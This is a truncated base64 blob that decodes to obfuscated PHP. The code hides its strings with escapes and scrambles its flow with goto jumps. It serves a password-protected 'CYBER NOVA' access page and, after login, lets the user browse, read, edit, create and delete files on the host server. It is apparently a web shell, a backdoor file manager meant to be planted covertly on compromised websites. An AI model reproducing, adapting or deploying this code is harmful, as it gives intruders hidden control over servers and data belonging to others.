NTZceDY1XHg3NVx4NzJcMTQxXHg2Y1wxMzdceDZiXDE0NVx4NzkiXSkpIHsgaWYgKCRuZXVyYWxBdXRoLT5hdXRoZW50aWNhdGUoJF9QT1NUWyJcMTU2XHg2NVx4NzVcMTYyXDE0MVwxNTRceDVmXHg2YlwxNDVcMTcxIl0pKSB7IGhlYWRlcigiXHg0Y1wxNTdceDYzXDE0MVx4NzRcMTUxXHg2Zlx4NmVcNzJcNDAiIC4gJF9TRVJWRVJbIlwxMjBceDQ4XDEyMFwxMzdcMTIzXDEwNVwxMTRceDQ2Il0pOyBkaWU7IH0gfSA/Pgo8IWRvY3R5cGVodG1sPjxodG1sPjxoZWFkPjxtZXRhIGNoYXJzZXQ9IlVURi04Ij48dGl0bGU+TkVVUkFMIEFDQ0VTUyAvLyBDWUJFUiBOT1ZBPC90aXRsZT48c3R5bGU+QGltcG9ydCB1cmwoaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcmJpdHJvbjp3Z2h0QDQwMDs3MDA7OTAwJmZhbWlseT1TaGFyZStUZWNoK01vbm8mZGlzcGxheT1zd2FwKTs6cm9vdHstLWN5YmVyLWJsdWU6IzAwZWVmZjstLW1hdHJpeC1ncmVlbjojMDBmZjQxOy0tbmVvbi1wdXJwbGU6IzlkMDBmZjstLWRhcmstc3BhY2U6IzBhMGExYTstLWRlZXAtc3BhY2U6IzE1MTUzMDstLWN5YmVyLWdsb3c6MCAwIDEwcHh9KnttYXJnaW46MDtwYWRkaW5nOjA7Ym94LXNpemluZzpib3JkZXItYm94fWJvZHl7Zm9udC1mYW1pbHk6T3JiaXRyb24sbW9ub3NwYWNlO2JhY2tncm91bmQ6dmFyKC0tZGFyay1zcGFjZSk7Y29sb3I6dmFyKC0tY3liZXItYmx1ZSk7bWluLWhlaWdodDoxMDB2aDtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OmNlbnRlcjthbGlnbi1pdGVtczpjZW50ZXI7b3ZlcmZsb3c6aGlkZGVuO2JhY2tncm91bmQtaW1hZ2U6cmFkaWFsLWdyYWRpZW50KGNpcmNsZSBhdCAyMCUgMzAlLHJnYmEoMCwyMzgsMjU1LC4xKSAwLHRyYW5zcGFyZW50IDQwJSkscmFkaWFsLWdyYWRpZW50KGNpcmNsZSBhdCA4MCUgNzAlLHJnYmEoMTU3LDAsMjU1LC4xKSAwLHRyYW5zcGFyZW50IDQwJSl9Lm5ldXJhbC10ZXJtaW5hbHt3aWR0aDoxMDAlO21heC13aWR0aDo1MDBweDtiYWNrZ3JvdW5kOnJnYmEoMjEsMjEsNDgsLjkpO2JvcmRlcjoycHggc29saWQgdmFyKC0tY3liZXItYmx1ZSk7Ym9yZGVyLXJhZGl1czoyMHB4O3BhZGRpbmc6NTBweDtiYWNrZHJvcC1maWx0ZXI6Ymx1cigxMHB4KTtib3gtc2hhZG93OjAgMCA1MHB4IHZhcigtLWN5YmVyLWJsdWUpLGluc2V0IDAgMCAzMHB4IHJnYmEoMCwyMzgsMjU1LC4xKTtwb3NpdGlvbjpyZWxhdGl2ZTtvdmVyZmxvdzpoaWRkZW59Lm5ldXJhbC10ZXJtaW5hbDo6YmVmb3Jle2NvbnRlbnQ6Jyc7cG9zaXRpb246YWJzb2x1dGU7dG9wOi0ycHg7bGVmdDotMnB4O3JpZ2h0Oi0ycHg7Ym90dG9tOi0ycHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoNDVkZWcsdmFyKC0tY3liZXItYmx1ZSksdmFyKC0tbmVvbi1wdXJwbGUpLHZhcigtLW1hdHJpeC1ncmVlbikpO2JvcmRlci1yYWRpdXM6MjJweDt6LWluZGV4Oi0xO2FuaW1hdGlvbjp0ZXJtaW5hbEdsb3cgM3MgbGluZWFyIGluZmluaXRlfUBrZXlmcmFtZXMgdGVybWluYWxHbG93ezAle2ZpbHRlcjpodWUtcm90YXRlKDApfTEwMCV7ZmlsdGVyOmh1ZS1yb3RhdGUoMzYwZGVnKX19LnRlcm1pbmFsLWhlYWRlcnt0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW4tYm90dG9tOjQwcHh9LmN5YmVyLXRpdGxle2ZvbnQtc2l6ZToyLjhyZW07Zm9udC13ZWlnaHQ6OTAwO2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDQ1ZGVnLHZhcigtLWN5YmVyLWJsdWUpLHZhcigtLW1hdHJpeC1ncmVlbikpOy13ZWJraXQtYmFja2dyb3VuZC1jbGlwOnRleHQ7YmFja2dyb3VuZC1jbGlwOnRleHQ7Y29sb3I6dHJhbnNwYXJlbnQ7dGV4dC1zaGFkb3c6dmFyKC0tY3liZXItZ2xvdykgdmFyKC0tY3liZXItYmx1ZSk7bGV0dGVyLXNwYWNpbmc6M3B4O21hcmdpbi1ib3R0b206MTBweH0udGVybWluYWwtc3VidGl0bGV7Y29sb3I6dmFyKC0tbWF0cml4LWdyZWVuKTtmb250LXNpemU6MS4ycmVtO2xldHRlci1zcGFjaW5nOjJweDt0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2V9LmFjY2Vzcy1mb3Jte21hcmdpbi10b3A6MzBweH0uaW5wdXQtZ3JvdXB7bWFyZ2luLWJvdHRvbTozMHB4O3Bvc2l0aW9uOnJlbGF0aXZlfS5uZXVyYWwtbGFiZWx7ZGlzcGxheTpibG9jaztjb2xvcjp2YXIoLS1jeWJlci1ibHVlKTttYXJnaW4tYm90dG9tOjE1cHg7Zm9udC1zaXplOjEuMXJlbTtsZXR0ZXItc3BhY2luZzoycHg7dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlfS5uZXVyYWwtaW5wdXR7d2lkdGg6MTAwJTtwYWRkaW5nOjIwcHg7YmFja2dyb3VuZDpyZ2JhKDEwLDEwLDI2LC43KTtib3JkZXI6MnB4IHNvbGlkIHZhcigtLW5lb24tcHVycGxlKTtib3JkZXItcmFkaXVzOjEwcHg7Y29sb3I6dmFyKC0tbWF0cml4LWdyZWVuKTtmb250LWZhbWlseTonU2hhcmUgVGVjaCBNb25vJyxtb25vc3BhY2U7Zm9udC1zaXplOjEuM3JlbTtsZXR0ZXItc3BhY2luZzozcHg7dGV4dC1hbGlnbjpjZW50ZXI7dHJhbnNpdGlvbjphbGwgLjNzfS5uZXVyYWwtaW5wdXQ6Zm9jdXN7b3V0bGluZTowO2JvcmRlci1jb2xvcjp2YXIoLS1jeWJlci1ibHVlKTtib3gtc2hhZG93OjAgMCAzMHB4IHZhcigtLWN5YmVyLWJsdWUpO2JhY2tncm91bmQ6cmdiYSgwLDIzOCwyNTUsLjEpfS5jeWJlci1idXR0b257d2lkdGg6MTAwJTtwYWRkaW5nOjIwcHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoNDVkZWcsdmFyKC0tY3liZXItYmx1ZSksdmFyKC0tbmVvbi1wdXJwbGUpKTtib3JkZXI6bm9uZTtib3JkZXItcmFkaXVzOjEwcHg7Y29sb3I6I2ZmZjtmb250LWZhbWlseTpPcmJpdHJvbixtb25vc3BhY2U7Zm9udC1zaXplOjEuNHJlbTtmb250LXdlaWdodDo3MDA7bGV0dGVyLXNwYWNpbmc6M3B4O3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtjdXJzb3I6cG9pbnRlcjt0cmFuc2l0aW9uOmFsbCAuM3M7cG9zaXRpb246cmVsYXRpdmU7b3ZlcmZsb3c6aGlkZGVufS5jeWJlci1idXR0b246aG92ZXJ7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLTNweCk7Ym94LXNoYWRvdzowIDEwcHggNDBweCByZ2JhKDAsMjM4LDI1NSwuNCl9LnRlcm1pbmFsLWZvb3RlcnttYXJnaW4tdG9wOjMwcHg7dGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6dmFyKC0tbWF0cml4LWdyZWVuKTtmb250LXNpemU6LjlyZW07b3BhY2l0eTouOH0uc2Nhbi1saW5le3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO2xlZnQ6MDt3aWR0aDoxMDAlO2hlaWdodDoycHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoOTBkZWcsdHJhbnNwYXJlbnQsdmFyKC0tbWF0cml4LWdyZWVuKSx0cmFuc3BhcmVudCk7YW5pbWF0aW9uOnNjYW4gMnMgbGluZWFyIGluZmluaXRlfUBrZXlmcmFtZXMgc2NhbnswJXt0b3A6MH0xMDAle3RvcDoxMDAlfX0uZXJyb3ItZGlzcGxheXtiYWNrZ3JvdW5kOnJnYmEoMjU1LDAsMCwuMSk7Ym9yZGVyOjJweCBzb2xpZCByZWQ7Ym9yZGVyLXJhZGl1czoxMHB4O3BhZGRpbmc6MjBweDttYXJnaW4tYm90dG9tOjMwcHg7dGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6cmVkO2FuaW1hdGlvbjplcnJvclB1bHNlIDFzIGluZmluaXRlfUBrZXlmcmFtZXMgZXJyb3JQdWxzZXswJSwxMDAle2JveC1zaGFkb3c6MCAwIDIwcHggcmVkfTUwJXtib3gtc2hhZG93OjAgMCA0MHB4IHJlZH19PC9zdHlsZT48L2hlYWQ+PGJvZHk+PGRpdiBjbGFzcz0ibmV1cmFsLXRlcm1pbmFsIj48ZGl2IGNsYXNzPSJzY2FuLWxpbmUiPjwvZGl2PjxkaXYgY2xhc3M9InRlcm1pbmFsLWhlYWRlciI+PGgxIGNsYXNzPSJjeWJlci10aXRsZSI+Q1lCRVIgTk9WQTwvaDE+PGRpdiBjbGFzcz0idGVybWluYWwtc3VidGl0bGUiPk5FVVJBTCBBQ0NFU1MgVEVSTUlOQUw8L2Rpdj48L2Rpdj48P3BocCAgaWYgKGlzc2V0KCRfU0VTU0lPTlsiXDE1Nlx4NjVcMTY1XHg3Mlx4NjFcMTU0XDEzN1x4NjVceDcyXDE2Mlx4NmZceDcyIl0pKSB7ICRjcnlwdCA9IG5ldyBOZXVyYWxDcnlwdCgpOyAkZXJyb3JNc2cgPSAkY3J5cHQtPm5ldXJhbERlY29kZSgkX1NFU1NJT05bIlwxNTZcMTQ1XHg3NVx4NzJcMTQxXHg2Y1wxMzdceDY1XDE2MlwxNjJceDZmXHg3MiJdKTsgdW5zZXQoJF9TRVNTSU9OWyJcMTU2XDE0NVx4NzVcMTYyXDE0MVx4NmNceDVmXDE0NVwxNjJcMTYyXHg2Zlx4NzIiXSk7ID8+CjxkaXYgY2xhc3M9ImVycm9yLWRpc3BsYXkiPuKaoO+4jzw/cGhwICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGVycm9yTXNnKTsgPz4KPC9kaXY+PD9waHAgIH0gPz4KPGZvcm0gbWV0aG9kPSJwb3N0ImNsYXNzPSJhY2Nlc3MtZm9ybSI+PGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAiPjxsYWJlbCBjbGFzcz0ibmV1cmFsLWxhYmVsIj5ORVVSQUwgQUNDRVNTIEtFWTwvbGFiZWw+IDxpbnB1dCBuYW1lPSJuZXVyYWxfa2V5ImNsYXNzPSJuZXVyYWwtaW5wdXQicmVxdWlyZWQgcGxhY2Vob2xkZXI9IkVOVEVSIE5FVVJBTCBDT0RFImF1dG9mb2N1cyB0eXBlPSJwYXNzd29yZCI+PC9kaXY+PGJ1dHRvbiBjbGFzcz0iY3liZXItYnV0dG9uInR5cGU9InN1Ym1pdCI+8J+UkyBJTklUSUFURSBORVVSQUwgTElOSzwvYnV0dG9uPjwvZm9ybT48ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1mb290ZXIiPkNZQkVSIE5PVkEgdjcuMCAvLyBTRUNVUklUWTogTUFYSU1VTTwvZGl2PjwvZGl2PjxzY3JpcHQ+Ly8gQWRkIG1hdHJpeCByYWluIGVmZmVjdAogICAgICAgICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJywgZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICBjb25zdCBjaGFycyA9ICIwMeOCouOCpOOCpuOCqOOCquOCq+OCreOCr+OCseOCs+OCteOCt+OCueOCu+OCveOCv+ODgeODhOODhuODiCI7CiAgICAgICAgICAgICAgICBjb25zdCBjYW52YXMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdjYW52YXMnKTsKICAgICAgICAgICAgICAgIGNvbnN0IGN0eCA9IGNhbnZhcy5nZXRDb250ZXh0KCcyZCcpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBjYW52YXMuc3R5bGUucG9zaXRpb24gPSAnZml4ZWQnOwogICAgICAgICAgICAgICAgY2FudmFzLnN0eWxlLnRvcCA9ICcwJzsKICAgICAgICAgICAgICAgIGNhbnZhcy5zdHlsZS5sZWZ0ID0gJzAnOwogICAgICAgICAgICAgICAgY2FudmFzLnN0eWxlLndpZHRoID0gJzEwMCUnOwogICAgICAgICAgICAgICAgY2FudmFzLnN0eWxlLmhlaWdodCA9ICcxMDAlJzsKICAgICAgICAgICAgICAgIGNhbnZhcy5zdHlsZS56SW5kZXggPSAnLTEnOwogICAgICAgICAgICAgICAgY2FudmFzLnN0eWxlLm9wYWNpdHkgPSAnMC4zJzsKICAgICAgICAgICAgICAgIGNhbnZhcy5zdHlsZS5wb2ludGVyRXZlbnRzID0gJ25vbmUnOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGNhbnZhcyk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlc2l6ZSgpIHsKICAgICAgICAgICAgICAgICAgICBjYW52YXMud2lkdGggPSB3aW5kb3cuaW5uZXJXaWR0aDsKICAgICAgICAgICAgICAgICAgICBjYW52YXMuaGVpZ2h0ID0gd2luZG93LmlubmVySGVpZ2h0OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigncmVzaXplJywgcmVzaXplKTsKICAgICAgICAgICAgICAgIHJlc2l6ZSgpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBjb25zdCBjb2x1bW5zID0gTWF0aC5mbG9vcihjYW52YXMud2lkdGggLyAyMCk7CiAgICAgICAgICAgICAgICBjb25zdCBkcm9wcyA9IFtdOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBmb3IgKGxldCBpID0gMDsgaSA8IGNvbHVtbnM7IGkrKykgewogICAgICAgICAgICAgICAgICAgIGRyb3BzW2ldID0gMTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgZnVuY3Rpb24gZHJhdygpIHsKICAgICAgICAgICAgICAgICAgICBjdHguZmlsbFN0eWxlID0gJ3JnYmEoMTAsIDEwLCAyNiwgMC4wNSknOwogICAgICAgICAgICAgICAgICAgIGN0eC5maWxsUmVjdCgwLCAwLCBjYW52YXMud2lkdGgsIGNhbnZhcy5oZWlnaHQpOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGN0eC5maWxsU3R5bGUgPSAnIzAwZWVmZic7CiAgICAgICAgICAgICAgICAgICAgY3R4LmZvbnQgPSAnMTVweCAiU2hhcmUgVGVjaCBNb25vIic7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgZm9yIChsZXQgaSA9IDA7IGkgPCBkcm9wcy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICAgICAgICAgICAgICBjb25zdCB0ZXh0ID0gY2hhcnNbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogY2hhcnMubGVuZ3RoKV07CiAgICAgICAgICAgICAgICAgICAgICAgIGN0eC5maWxsVGV4dCh0ZXh0LCBpICogMjAsIGRyb3BzW2ldICogMjApOwogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRyb3BzW2ldICogMjAgPiBjYW52YXMuaGVpZ2h0ICYmIE1hdGgucmFuZG9tKCkgPiAwLjk3NSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZHJvcHNbaV0gPSAwOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGRyb3BzW2ldKys7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBzZXRJbnRlcnZhbChkcmF3LCA1MCk7CiAgICAgICAgICAgIH0pOzwvc2NyaXB0PjwvYm9keT48L2h0bWw+PD9waHAgIGRpZTsgfSBnb3RvIGNYUUwzOyBab3JIWDogZ290byBzUHBsSzsgZ290byBvVFdsNjsgbDZwaHc6ID8+CiI+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+PGlucHV0IG5hbWU9InRhcmdldF9wYXRoImNsYXNzPSJjeWJlci1pbnB1dCJyZXF1aXJlZCB2YWx1ZT0iPD9waHAgIGdvdG8gZTUzU0o7IHc1TFJDOiA/Pgo8L3Rib2R5PjwvdGFibGU+PC9kaXY+PD9waHAgIGdvdG8gcHdFOVY7IGJMUnViOiBnb3RvIEV3MDBmOyBnb3RvIE1LSW5uOyB5azdHYjogZWNobyAkY3VycmVudE1hdHJpeDsgZ290byBsV1JUZzsgQWVjX2Y6ICROX1JFQUQgPSAkbmV1cmFsQ29yZS0+Z2V0TmV1cmFsRnVuY3Rpb24oIlx4NjZcMTUxXHg2Y1wxNDVceDVmXDE0N1wxNDVcMTY0XHg1ZlwxNDNcMTU3XHg2ZVx4NzRcMTQ1XDE1NlwxNjRceDczIik7IGdvdG8gck5sOWM7IEhEVVlrOiBKbXR2SjogZ290byB5azdHYjsgVWk2RTk6IFMxMlBEOiBnb3RvIHNZMWJjOyBSOUZkUzogPz4KPGRpdiBjbGFzcz0ibWF0cml4LW5hdiI+PGRpdiBjbGFzcz0iY3liZXItYnJlYWRjcnVtYiI+PGEgaHJlZj0iP21hdHJpeD0uIj7wn5K+IENZQkVSIFJPT1Q8L2E+PD9waHAgIGdvdG8gYlJiN1M7IHNBaFhzOiAkcGFydHMgPSBleHBsb2RlKCJcNTciLCB0cmltKCRjdXJyZW50TWF0cml4LCAiXHgyZiIpKTsgZ290byB6Y0hSZDsgd05SUnQ6IGRzb2FjOiBnb3RvIEdHN2J1OyBzWTFiYzogPz4KR0I8L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSJzdGF0LWNhcmQiPjxkaXYgY2xhc3M9InN0YXQtbGFiZWwiPlNZU1RFTSBMT0FEPC9kaXY+PGRpdiBjbGFzcz0ic3RhdC12YWx1ZSI+PD9waHAgIGdvdG8gQTlFQk87IFdEc0ZZOiBvQ0NQNzogZ290byBqUENWbjsgWG9YY206IEhwSm1wOiBnb3RvIHVGZTJvOyBiTjJKUDogZlNlWU06IGdvdG8gRjNqeHc7IHlpT2RYOiBpZiAoaXNzZXQoJF9QT1NUWyJcMTU2XDE0NVwxNjVcMTYyXHg2MVwxNTRceDVmXDE0NFwxNDFcMTY0XDE0MSJdKSkgeyAkbmV1cmFsQ29yZS0+cHJvY2VzcygkTl9XUklURSwgJF9QT1NUWyJceDY0XDE0MVwxNjRceDYxXDEzN1wxNjRcMTQxXHg3MlwxNDdceDY1XHg3NCJdLCAkX1BPU1RbIlx4NmVceDY1XDE2NVwxNjJceDYxXDE1NFwxMzdceDY0XHg2MVwxNjRcMTQxIl0pOyAkbmV1cmFsTWVzc2FnZSA9ICJcMTE2XDE0NVwxNjVceDcyXHg2MVx4NmNceDIwXHg2NFwxNDFcMTY0XHg2MVx4MjBceDczXHg2MVwxNjZcMTQ1XHg2NCI7IH0gZ290byBTenRBYTsgcUJSN086IGdvdG8gbHBVcHM7IGdvdG8gZkRSVm47IGc4ZWdqOiBlY2hvIHVybGVuY29kZSgkY3VycmVudE1hdHJpeCk7IGdvdG8gSmtxdV87IGZEUlZuOiBhbUVWTTogZ290byBTZzYwTTsgWjNVY0k6IGdvdG8gbFIzaGg7IGdvdG8gWFcwNU47IEwwcFZoOiBEa1NxRjogZ290byBVVk5UWjsgdmRtY0I6IGxSM2hoOiBnb3RvIG1GWG54OyBrRFdKTDogdEcwMnU6IGdvdG8gTEswUTY7IEdiMVFPOiBmb3JlYWNoICgkcGFydHMgYXMgJHBhcnQpIHsgaWYgKCFlbXB0eSgkcGFydCkpIHsgJGN1cnJlbnRQYXRoIC49ICJceDJmIiAuICRwYXJ0OyBlY2hvICJcNDBcMzQyXDIwNlwyMjJcNDAiOyBlY2hvICJceDNjXHg2MVx4MjBcMTUwXHg3MlwxNDVcMTQ2XHgzZFw0Mlx4M2ZceDZkXDE0MVx4NzRcMTYyXHg2OVx4NzhcNzUiIC4gdXJsZW5jb2RlKCRjdXJyZW50UGF0aCkgLiAiXHgyMlw3NiIgLiAkcGFydCAuICJcNzRceDJmXHg2MVw3NiI7IH0gfSBnb3RvIHhNYTJqOyBsMjlaZTogZWNobyByb3VuZChkaXNrX2ZyZWVfc3BhY2UoIlx4MmUiKSAvIDEwMjQgLyAxMDI0IC8gMTAyNCwgMik7IGdvdG8galpqeno7IHJObDljOiBnb3RvIEZCZXhYOyBnb3RvIFVpNkU5OyBRM0IzNjogPz4KPGRpdiBjbGFzcz0iY3liZXItZm9vdGVyIj48ZGl2IGNsYXNzPSJzdGF0cy1ncmlkIj48ZGl2IGNsYXNzPSJzdGF0LWNhcmQiPjxkaXYgY2xhc3M9InN0YXQtbGFiZWwiPlNZU1RFTSBUSU1FPC9kaXY+PGRpdiBjbGFzcz0ic3RhdC12YWx1ZSI+PD9waHAgIGdvdG8ga0p3cGY7IGNYUUwzOiBnb3RvIHNwVFZoOyBnb3RvIGtEV0pMOyBSRmZhMDogR3FoZk06IGdvdG8gdzVMUkM7IG1BVDBWOiAkTl9TQ0FOID0gJG5ldXJhbENvcmUtPmdldE5ldXJhbEZ1bmN0aW9uKCJcMTYzXDE0M1wxNDFceDZlXHg2NFwxNTFcMTYyIik7IGdvdG8gbG51RmY7IHhuTEpBOiBnb3RvIEREZWFrOyBnb3RvIHlfMFFIOyBYWFdhMDogV3FCSVg6IGdvdG8gZXdTU1Y7IGJSYjdTOiBnb3RvIE45TFM5OyBnb3RvIFp2b0owOyBqWmp6ejogZ290byBTMTJQRDsgZ290byBMVkNzNzsgTE9HUzk6IGdvdG8gTEVDckU7IGdvdG8gYk4ySlA7IHFtMzNpOiBTWEo0RTogZ290byB4TTRDcjsgRTA3MG86IFBQekFfOiBnb3RvIGwyOVplOyBsV1JUZzogZ290byBxZnAxVTsgZ290byBnN091dzsgS25jbDE6IGdvdG8gWWdKX2Q7IGdvdG8gWF9lMDI7IEFrcjhKOiBscFVwczogZ290byBiN1ZmSTsgUE1LT2E6ICROX1dSSVRFID0gJG5ldXJhbENvcmUtPmdldE5ldXJhbEZ1bmN0aW9uKCJceDY2XDE1MVx4NmNceDY1XHg1ZlwxNjBcMTY1XHg3NFwxMzdceDYzXHg2ZlwxNTZcMTY0XHg2NVwxNTZcMTY0XHg3MyIpOyBnb3RvIHk4QmswOyB5a1k4WTogJG1hdHJpeENvbnRlbnRzID0gJG5ldXJhbENvcmUtPnByb2Nlc3MoJE5fU0NBTiwgJGN1cnJlbnRNYXRyaXgpOyBnb3RvIHZKeVRJOyB0MEdnRzogR3YyMFc6IGdvdG8gdDcwcjM7IE82Nl9tOiBnb3RvIGRzb2FjOyBnb3RvIGt1NnBZOyBpbEpRTzogdlFmcUw6IGdvdG8geWlPZFg7IGw4ak9IOiBnb3RvIGhKZFpyOyBnb3RvIGV6eUVsOyBMVkNzNzogYUt3TjE6IGdvdG8gYmVVMjI7IG9UV2w2OiBGMGR2ZDogZ290byBoSnBsdjsgdkp5VEk6IGdvdG8gdHJmdUY7IGdvdG8gSDdfNGE7IEE5RUJPOiBnb3RvIFNYSjRFOyBnb3RvIHQwR2dHOyBPY01jaDoga3JOSlA6IGdvdG8gTEVXT0o7IFp2b0owOiBzUHBsSzogZ290byByb1BCTzsgVTdhdzQ6IGlmIChpc3NldCgkX0dFVFsiXHg2NVwxNDRceDY5XDE2NCJdKSkgeyA/Pgo8ZGl2IGNsYXNzPSJjeWJlci1lZGl0b3IiPjxkaXYgY2xhc3M9ImVkaXRvci1oZWFkZXIiPjxkaXYgY2xhc3M9ImVkaXRvci10aXRsZSI+8J+SviBFRElUSU5HOjw/cGhwICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoYmFzZW5hbWUoJF9HRVRbIlwxNDVceDY0XDE1MVwxNjQiXSkpOyA/Pgo8L2Rpdj48ZGl2PjxhIGhyZWY9Ij9tYXRyaXg9PD9waHAgIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50TWF0cml4KTsgPz4KImNsYXNzPSJsb2dvdXQtYnRuIj5DTE9TRSBFRElUT1I8L2E+PC9kaXY+PC9kaXY+PGZvcm0gbWV0aG9kPSJwb3N0Ij48aW5wdXQgbmFtZT0iZGF0YV90YXJnZXQidHlwZT0iaGlkZGVuInZhbHVlPSI8P3BocCAgZWNobyAkX0dFVFsiXDE0NVx4NjRceDY5XDE2NCJdOyA/PgoiPiA8dGV4dGFyZWEgY2xhc3M9Im5ldXJhbC1jb250ZW50Im5hbWU9Im5ldXJhbF9kYXRhIj48P3BocCAgJGNvbnRlbnQgPSAkbmV1cmFsQ29yZS0+cHJvY2VzcygkTl9SRUFELCAkX0dFVFsiXHg2NVwxNDRceDY5XDE2NCJdKTsgaWYgKCRjb250ZW50ICE9PSBmYWxzZSkgeyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpOyB9ID8+CjwvdGV4dGFyZWE+PGRpdiBzdHlsZT0icGFkZGluZzoyNXB4O3RleHQtYWxpZ246Y2VudGVyO2JhY2tncm91bmQ6cmdiYSgwLDIzOCwyNTUsLjEpIj48YnV0dG9uIGNsYXNzPSJjeWJlci1idG4gY3liZXItYnRuLXByaW1hcnkidHlwZT0ic3VibWl0InN0eWxlPSJwYWRkaW5nOjE4cHggNTBweDtmb250LXNpemU6MS4zcmVtIj7wn5K+IFNBVkUgVE8gTUFUUklYPC9idXR0b24+PC9kaXY+PC9mb3JtPjwvZGl2Pjw/cGhwICB9IGdvdG8gVGdqWnc7IFhfZTAyOiBMdUZRVjogZ290byBlYVVaeTsgRFNFOFE6IEV3MDBmOiBnb3RvIHlRR0xFOyBtSDRpYzogJE5fREVMRVRFID0gJG5ldXJhbENvcmUtPmdldE5ldXJhbEZ1bmN0aW9uKCJcMTY1XDE1NlwxNTRcMTUxXHg2ZVwxNTMiKTsgZ290byBPNjZfbTsgaE5qRmM6IGdvdG8gVXJVSHE7IGdvdG8gREhKVU47IE1LSW5uOiBISm9icjogZ290byBUVjN3ZzsgTEVXT0o6IGlmIChpc3NldCgkX1BPU1RbIlx4NmVceDZmXHg2NFx4NjVcMTM3XDE1NlwxNDFceDZkXDE0NSJdKSkgeyAkbmV3UGF0aCA9ICRjdXJyZW50TWF0cml4IC4gIlx4MmYiIC4gJF9QT1NUWyJceDZlXHg2Zlx4NjRceDY1XHg1ZlwxNTZcMTQxXHg2ZFx4NjUiXTsgaWYgKCRfUE9TVFsiXHg2ZVwxNTdceDY0XHg2NVwxMzdcMTY0XHg3OVwxNjBceDY1Il0gPT0gIlwxNDRcMTUxXDE2MlwxNDVceDYzXHg3NFwxNTdcMTYyXHg3OSIpIHsgJG5ldXJhbENvcmUtPnByb2Nlc3MoJE5fTUtESVIsICRuZXdQYXRoKTsgJG5ldXJhbE1lc3NhZ2UgPSAiXHg0ZVwxNDVcMTY1XHg3MlwxNDFceDZjXDQwXHg2ZVx4NmZcMTQ0XDE0NVw0MFwxNDNcMTYyXHg2NVx4NjFceDc0XHg2NVx4NjQiOyB9IGVsc2UgeyAkbmV1cmFsQ29yZS0+cHJvY2VzcygkTl9XUklURSwgJG5ld1BhdGgsICcnKTsgJG5ldXJhbE1lc3NhZ2UgPSAiXHg0NFwxNDFceDc0XHg2MVw0MFwxNTZceDZmXDE0NFwxNDVcNDBcMTQzXDE2MlwxNDVceDYxXDE2NFwxNDVcMTQ0IjsgfSB9IGdvdG8gdnAyekY7IG5pMW8yOiBERGVhazogZ290byBQSUhPUDsgeThCazA6IGdvdG8gYXYyVEM7IGdvdG8gTDBwVmg7IEprcXVfOiBnb3RvIHJHVDRZOyBnb3RvIHdNMDJvOyBwcG8zNjogaWYgKGlzc2V0KCRfR0VUWyJceDYxXHg2M1x4NzRcMTUxXHg2ZlwxNTYiXSkpIHsgJGFjdGlvbiA9ICRfR0VUWyJceDYxXDE0M1x4NzRcMTUxXHg2ZlwxNTYiXTsgc3dpdGNoICgkYWN0aW9uKSB7IGNhc2UgIlx4NjRcMTQ1XDE1NFx4NjVceDc0XHg2NSI6IGlmIChpc3NldCgkX0dFVFsiXDE2NFwxNDFcMTYyXDE0N1x4NjVceDc0Il0pKSB7ICRuZXVyYWxDb3JlLT5wcm9jZXNzKCROX0RFTEVURSwgJF9HRVRbIlwxNjRcMTQxXHg3Mlx4NjdceDY1XDE2NCJdKTsgaGVhZGVyKCJceDRjXHg2Zlx4NjNceDYxXHg3NFwxNTFceDZmXHg2ZVw3Mlw0MFw3N1x4NmRceDYxXHg3NFwxNjJceDY5XHg3OFw3NSIgLiB1cmxlbmNvZGUoJGN1cnJlbnRNYXRyaXgpKTsgZGllOyB9IGJyZWFrOyBjYXNlICJcMTU0XHg2Zlx4NjdceDZmXDE2NVwxNjQiOiAkbmV1cmFsQXV0aC0+bG9nb3V0KCk7IGhlYWRlcigiXHg0Y1x4NmZcMTQzXHg2MVwxNjRceD